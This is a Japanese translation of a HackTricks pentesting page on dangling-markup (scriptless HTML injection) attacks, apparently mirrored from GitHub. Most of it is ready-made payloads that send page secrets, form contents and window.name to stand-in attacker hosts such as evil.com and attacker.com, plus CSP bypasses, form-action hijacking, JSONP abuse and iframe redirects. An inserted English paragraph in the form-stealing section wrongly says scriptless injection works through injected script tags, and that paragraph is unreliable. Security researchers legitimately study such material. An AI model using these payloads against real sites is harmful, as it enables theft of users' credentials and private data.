mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
290 lines
19 KiB
Markdown
290 lines
19 KiB
Markdown
# ダングリングマークアップ - HTMLスクリプトレスインジェクション
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
|
||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||
|
||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||
|
||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||
|
||
</details>
|
||
|
||
## 概要
|
||
|
||
このテクニックは、**HTMLインジェクションが見つかった場合にユーザーから情報を抽出する**ために使用できます。これは、[**XSS** ](xss-cross-site-scripting/)を**悪用する方法が見つからない**場合に非常に便利ですが、いくつかのHTMLタグを**インジェクトすることができる**場合です。\
|
||
また、HTML内に**平文で保存された秘密**がある場合に、クライアントからそれを**外部に持ち出す**ためにも役立ちます。また、スクリプトの実行を誤認させるためにも使用できます。
|
||
|
||
ここでコメントされているいくつかのテクニックは、予期しない方法で情報を外部に持ち出すことによって、いくつかの[**コンテンツセキュリティポリシー**](content-security-policy-csp-bypass/)をバイパスするために使用できます(htmlタグ、CSS、http-metaタグ、フォーム、baseなど)。
|
||
|
||
## 主な応用
|
||
|
||
### 平文の秘密の盗み出し
|
||
|
||
`<img src='http://evil.com/log.cgi?`をインジェクトすると、ページが読み込まれたときに被害者はインジェクトされた`img`タグと次のクォート内のコードの間のすべてのコードを送信します。そのチャンクに秘密が何らかの方法で存在する場合、それを盗みます(同じことをダブルクォートを使用して行うこともできます。どちらがより興味深いかを見てみてください)。
|
||
|
||
`img`タグが禁止されている場合(CSPのためなど)、`<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`を使用することもできます。
|
||
```
|
||
<img src='http://attacker.com/log.php?HTML=
|
||
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
|
||
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
|
||
```
|
||
注意してください、**Chromeは** "<" **または** "\n" **を含むHTTP URLをブロック**しますので、"ftp" のような他のプロトコルスキームを試すことができます。
|
||
|
||
また、CSSの`@import`を悪用することもできます(";"が見つかるまでのすべてのコードを送信します)。
|
||
```markup
|
||
<style>@import//hackvertor.co.uk? <--- Injected
|
||
<b>steal me!</b>;
|
||
```
|
||
あなたは**`<table`**を使用することもできます:
|
||
```bash
|
||
<table background='//your-collaborator-id.burpcollaborator.net?'
|
||
```
|
||
あなたは`<base`タグを挿入することもできます。引用符が閉じられるまで、すべての情報が送信されますが、ユーザーの操作が必要です(ユーザーはリンクをクリックする必要があります。なぜなら、ベースタグがリンクが指すドメインを変更しているからです):
|
||
```markup
|
||
<base target=' <--- Injected
|
||
steal me'<b>test</b>
|
||
```
|
||
### フォームの盗み出し
|
||
|
||
When conducting a web application penetration test, it is important to identify and exploit any vulnerabilities that may exist in the application's forms. One such vulnerability is known as "dangling markup" or "HTML scriptless injection."
|
||
|
||
Web forms are commonly used to collect user input, such as login credentials or personal information. In some cases, the form data is not properly sanitized or validated on the server side, allowing an attacker to inject malicious code into the form fields.
|
||
|
||
HTML scriptless injection is a technique that takes advantage of this vulnerability by injecting HTML tags into the form fields. These tags are designed to execute JavaScript code when the form is submitted, allowing the attacker to steal sensitive information or perform other malicious actions.
|
||
|
||
To exploit this vulnerability, the attacker needs to identify a form that is vulnerable to HTML scriptless injection. This can be done by manually inspecting the HTML source code of the web application or by using automated scanning tools.
|
||
|
||
Once a vulnerable form is identified, the attacker can inject HTML tags into the form fields. For example, the attacker may inject a `<script>` tag with JavaScript code that captures the form data and sends it to a remote server controlled by the attacker.
|
||
|
||
To prevent HTML scriptless injection attacks, web developers should ensure that all user input is properly sanitized and validated on the server side. This includes checking for and removing any HTML tags or special characters that could be used to inject malicious code.
|
||
|
||
Additionally, web application firewalls (WAFs) can be used to detect and block HTML scriptless injection attacks. WAFs can analyze incoming requests and block any requests that contain suspicious or malicious code.
|
||
|
||
By understanding and exploiting vulnerabilities like HTML scriptless injection, penetration testers can help organizations identify and fix security flaws in their web applications, protecting sensitive user data from being stolen or misused.
|
||
```markup
|
||
<base href='http://evil.com/'>
|
||
```
|
||
次に、データをパスに送信するフォーム(例:`<form action='update_profile.php'>`)は、データを悪意のあるドメインに送信します。
|
||
|
||
### フォームの盗み出し2
|
||
|
||
フォームヘッダーを設定します:`<form action='http://evil.com/log_steal'>` これにより、次のフォームヘッダーが上書きされ、フォームのすべてのデータが攻撃者に送信されます。
|
||
|
||
### フォームの盗み出し3
|
||
|
||
ボタンは、属性 "formaction" を使用して、フォームの情報が送信されるURLを変更することができます。
|
||
```markup
|
||
<button name=xss type=submit formaction='https://google.com'>I get consumed!
|
||
```
|
||
攻撃者はこれを使って情報を盗むことができます。
|
||
|
||
### クリアテキストの秘密の盗み出し 2
|
||
|
||
最新のテクニックを使用してフォームを盗む(新しいフォームヘッダを注入する)後、新しい入力フィールドを注入することができます:
|
||
```markup
|
||
<input type='hidden' name='review_body' value="
|
||
```
|
||
そして、この入力フィールドには、HTML内のダブルクォートと次のダブルクォートの間のすべてのコンテンツが含まれます。この攻撃は、"_**平文の秘密の盗み出し**_"と"_**フォームの盗み出し2**_"を組み合わせています。
|
||
|
||
同じことを、フォームと`<option>`タグを注入することで行うこともできます。閉じられた`</option>`が見つかるまでのすべてのデータが送信されます。
|
||
```markup
|
||
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
|
||
```
|
||
### フォームパラメーターのインジェクション
|
||
|
||
フォームのパスを変更し、新しい値を挿入することで、予期しないアクションが実行される可能性があります。
|
||
```markup
|
||
<form action='/change_settings.php'>
|
||
<input type='hidden' name='invite_user'
|
||
value='fredmbogo'> ← Injected lines
|
||
|
||
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
|
||
...
|
||
<input type="text" name="invite_user" value=""> ← Subverted field
|
||
...
|
||
<input type="hidden" name="xsrf_token" value="12345">
|
||
...
|
||
</form>
|
||
```
|
||
### noscriptを使用した平文の秘密情報の盗み出し
|
||
|
||
`<noscript></noscript>`は、ブラウザがJavaScriptをサポートしていない場合に解釈されるタグです(Chromeでは[chrome://settings/content/javascript](chrome://settings/content/javascript)でJavaScriptを有効/無効にすることができます)。
|
||
|
||
攻撃者が制御するサイトに、インジェクションポイントからページの最下部までのコンテンツを盗み出す方法は、次のようにインジェクションすることです:
|
||
```markup
|
||
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
|
||
```
|
||
### ユーザーの操作を利用してCSPをバイパスする
|
||
|
||
この[ポートスウィガーの研究](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)から、**最もCSPが制限された**環境でも、**ユーザーの操作**を利用してデータを**外部に漏洩**することができることがわかります。今回は、以下のペイロードを使用します:
|
||
```markup
|
||
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
||
<base target='
|
||
```
|
||
注意してください。**被害者**に対して、あなたが制御する**ペイロード**に**リダイレクト**する**リンクをクリック**するように依頼します。また、**`base`**タグ内の**`target`**属性には、次のシングルクォートまでの**HTMLコンテンツ**が含まれることに注意してください。\
|
||
これにより、リンクがクリックされた場合の**`window.name`**の**値**は、その**HTMLコンテンツ**全体になります。したがって、リンクをクリックして被害者がアクセスしているページを制御しているため、**`window.name`**にアクセスしてそのデータを**外部に漏洩**することができます。
|
||
```markup
|
||
<script>
|
||
if(window.name) {
|
||
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
|
||
</script>
|
||
```
|
||
### 誤解を招くスクリプトのワークフロー1 - HTMLネームスペース攻撃
|
||
|
||
次のタグを上書きし、スクリプトのフローに影響を与える値を持つ、HTML内に新しいタグを挿入します。この例では、情報を共有する相手を選択します。
|
||
|
||
```html
|
||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
|
||
<script>
|
||
var target = document.getElementById('target');
|
||
var shareWith = target.getAttribute('data-share-with');
|
||
// Perform actions based on the value of 'shareWith'
|
||
</script>
|
||
</svg>
|
||
|
||
<div id="target" data-share-with="example@example.com"></div>
|
||
```
|
||
|
||
この攻撃では、`data-share-with`属性の値を変更することで、スクリプトのフローを操作することができます。
|
||
```markup
|
||
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
|
||
...
|
||
Share this status update with: ← Legitimate optional element of a dialog
|
||
<input id='share_with' value=''>
|
||
|
||
...
|
||
|
||
function submit_status_update() {
|
||
...
|
||
request.share_with = document.getElementById('share_with').value;
|
||
...
|
||
}
|
||
```
|
||
### 誤解を招くスクリプトのワークフロー2 - スクリプト名前空間攻撃
|
||
|
||
HTMLタグを挿入してJavaScriptの名前空間内に変数を作成します。その後、この変数はアプリケーションのフローに影響を与えます。
|
||
```markup
|
||
<img id='is_public'> ← Injected markup
|
||
|
||
...
|
||
|
||
// Legitimate application code follows
|
||
|
||
function retrieve_acls() {
|
||
...
|
||
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
|
||
is_public = true;
|
||
else
|
||
is_public = false;
|
||
}
|
||
|
||
function submit_new_acls() {
|
||
...
|
||
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
|
||
...
|
||
}
|
||
```
|
||
### JSONPの乱用
|
||
|
||
JSONPインターフェースを見つけた場合、任意の関数と任意のデータを呼び出すことができる可能性があります。
|
||
```markup
|
||
<script src='/editor/sharing.js'>: ← Legitimate script
|
||
function set_sharing(public) {
|
||
if (public) request.access_mode = AM_PUBLIC;
|
||
else request.access_mode = AM_PRIVATE;
|
||
...
|
||
}
|
||
|
||
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
|
||
set_sharing({ ... })
|
||
```
|
||
または、いくつかのJavaScriptを実行してみることもできます:
|
||
```markup
|
||
<script src='/search?q=a&call=alert(1)'></script>
|
||
```
|
||
### Iframeの悪用
|
||
|
||
注意してください、**子ドキュメントは親のlocationプロパティを表示および設定することができます。** これは、クライアントが他のページにアクセスすることができることを意味します。以下のようなコードを**iframe**内に読み込むことで、クライアントが他のページにアクセスできます。
|
||
```markup
|
||
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
|
||
```
|
||
これは次のように緩和できます: _**sandbox='allow-scripts allow-top-navigation'**_
|
||
|
||
また、iframeを使って異なるページから**iframeのname属性を利用して**機密情報を漏洩させることもできます。これは、HTMLインジェクションを悪用して自身をiframe化するiframeを作成することができるため、**機密情報がiframeのname属性内に表示され、それを初期のiframeからアクセスして漏洩させることができる**からです。
|
||
```html
|
||
<script>
|
||
function cspBypass(win) {
|
||
win[0].location = 'about:blank';
|
||
setTimeout(()=>alert(win[0].name), 500);
|
||
}
|
||
</script>
|
||
|
||
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
|
||
```
|
||
詳細については、[https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)を参照してください。
|
||
|
||
### \<metaの乱用
|
||
|
||
**`meta http-equiv`**を使用して、Cookieの設定などの**複数のアクション**を実行できます:`<meta http-equiv="Set-Cookie" Content="SESSID=1">`またはリダイレクトを実行できます(この場合は5秒後に):`<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
|
||
|
||
これは、**http-equiv**に関する**CSP**で回避することができます( `Content-Security-Policy: default-src 'self';`または `Content-Security-Policy: http-equiv 'self';`)
|
||
|
||
### 新しい\<portal HTMLタグ
|
||
|
||
\<portalタグの脆弱性に関する非常に**興味深い研究**は[こちら](https://research.securitum.com/security-analysis-of-portal-element/)で見つけることができます。\
|
||
この執筆時点では、Chromeでportalタグを有効にする必要があります。`chrome://flags/#enable-portals`で有効にしないと機能しません。
|
||
```markup
|
||
<portal src='https://attacker-server?
|
||
```
|
||
### HTMLリーク
|
||
|
||
HTMLで接続性を漏洩させる方法はすべてがDangling Markupに役立つわけではありませんが、時には役に立つこともあります。こちらで確認できます:[https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
|
||
|
||
## XS-Search
|
||
|
||
XS-Searchは、**サイドチャネル攻撃**を悪用して**クロスオリジン情報を外部流出**させるためのものです。したがって、これはDangling Markupとは異なる技術ですが、一部の技術はHTMLタグの含み(JSの実行あり・なし)を悪用しています。例えば、[**CSS Injection**](xs-search.md#css-injection)や[**Lazy Load Images**](xs-search.md#image-lazy-loading)**などです。**
|
||
|
||
{% content-ref url="xs-search.md" %}
|
||
[xs-search.md](xs-search.md)
|
||
{% endcontent-ref %}
|
||
|
||
## ブルートフォース検出リスト
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
|
||
|
||
## 参考文献
|
||
|
||
ここで紹介されているすべての技術とその他の詳細については、以下で確認できます:
|
||
|
||
{% embed url="http://lcamtuf.coredump.cx/postxss/" %}
|
||
|
||
悪用される可能性のある他のHTMLタグは、こちらで見つけることができます:
|
||
|
||
{% embed url="http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/" %}
|
||
|
||
詳細情報:
|
||
|
||
{% embed url="https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup" %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
|
||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||
|
||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||
|
||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
|
||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||
|
||
</details>
|